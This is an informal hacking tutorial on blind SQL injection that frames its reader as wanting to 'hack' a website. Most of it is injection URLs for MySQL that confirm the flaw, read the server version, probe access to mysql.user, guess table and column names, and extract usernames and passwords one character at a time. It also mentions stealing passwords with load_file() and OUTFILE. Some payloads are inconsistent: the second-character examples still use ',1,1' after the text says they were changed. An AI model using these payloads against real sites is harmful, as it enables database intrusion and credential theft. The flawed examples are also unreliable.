Blind SQLi Tutorial

what is Blind SQLi?
Blind SQL Injection is used when a web application is
vulnerable to an SQL injection but the results of the
injection are not visible to the attacker. The page
with the vulnerability may not be one that displays
data but will display differently depending on the
results of a logical statement injected into the
legitimate SQL statement called for that page. This
type of attack can become time-intensive because a new
statement must be crafted for each bit recovered.
There are several tools that can automate these
attacks once the location of the vulnerability and the
target information has been established
Blind SQLi Tutorial
Let’s Start…………
Suppose That You want to Hack This website with Blind
SQLi
http://site.com/index.php?id=5
when we execute this, we see some page and articles on
that page, pictures
etc…
then when we want to test it for blind sql injection
attack
http://www.site.com/index.php?id=5 and 1=1 <— this
is always true
and the page loads normally, that’s ok.
now the real test
http://www.site.com/index.php?id=5 and 1=2 <— this
is false
so if some text, picture or some content is missing on
returned page then
that site is vulrnable to blind sql injection.
1) Get the MySQL version
to get the version in blind attack we use substring
i.e
http://www.site.com/index.php?id=5 and substring
(@@version,1,1)=4
this should return TRUE if the version of MySQL is 4.
replace 4 with 5, and if query return TRUE then the
version is 5.
i.e
http://www.site.com/index.php?id=5 and substring
(@@version,1,1)=5
2) Test if subselect works
when select don’t work then we use subselect
i.e
http://www.site.com/index.php?id=5 and (select 1)=1
if page loads normally then subselects work. then we
gonna see if we have access to mysql.user
i.e
http://www.site.com/index.php?id=5 and (select 1 from
mysql.user limit 0,1)=1
if page loads normally we have access to mysql.user
and then later we can
pull some password usign load_file() function and
OUTFILE.
3). Check table and column names
This is part when guessing is the best friend Smiley
i.e.
http://www.site.com/index.php?id=5 and (select 1 from
users limit 0,1)=1
(with limit 0,1 our query here returns 1 row of data,
cause subselect
returns only 1 row, this is very important.)
then if the page loads normally without content
missing, the table users
exits.
if you get FALSE (some article missing), just change
table name until you
guess the right one Smiley
let’s say that we have found that table name is users,
now what we need is
column name.
the same as table name, we start guessing. Like i said
before try the
common names for columns.
i.e
http://www.site.com/index.php?id=5 and (select
substring(concat(1,
password),1,1) from users limit 0,1)=1
if the page loads normally we know that column name is
password (if we get
false then try common names or just guess)
here we merge 1 with the column password, then
substring returns the first
character (,1,1)
4). Pull data from database
we found table users i columns username password so we
gonna pull
characters from that.
http://www.site.com/index.php?id=5 and ascii
(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))
>80
ok this here pulls the first character from first user
in table users.
substring here returns first character and 1 character
in length. ascii()
converts that 1 character into ascii value
and then compare it with simbol greater then > .
so if the ascii char greater then 80, the page loads
normally. (TRUE)
we keep trying until we get false.
http://www.site.com/index.php?id=5 and ascii
(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))
>95
we get TRUE, keep incrementing
http://www.site.com/index.php?id=5 and ascii
(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))
>98
TRUE again, higher
http://www.site.com/index.php?id=5 and ascii
(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))
>99
FALSE!!!
so the first character in username is char(99). Using
the ascii converter
we know that char(99) is letter ‘c’.
then let’s check the second character.
http://www.site.com/index.php?id=5 and ascii
(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),2,1))
>99
Note that i’m changed ,1,1 to ,2,1 to get the second
character. (now it
returns the second character, 1 character in lenght)
http://www.site.com/index.php?id=5 and ascii
(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))
>99
TRUE, the page loads normally, higher.
http://www.site.com/index.php?id=5 and ascii
(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))
>107
FALSE, lower number.
http://www.site.com/index.php?id=5 and ascii
(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))
>104
TRUE, higher.
http://www.site.com/index.php?id=5 and ascii
(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))
>105
FALSE!!!
we know that the second character is char(105) and
that is ‘i’. We have
‘ci’ so far
so keep incrementing until you get the end. (when >0
returns false we know
that we have reach the end).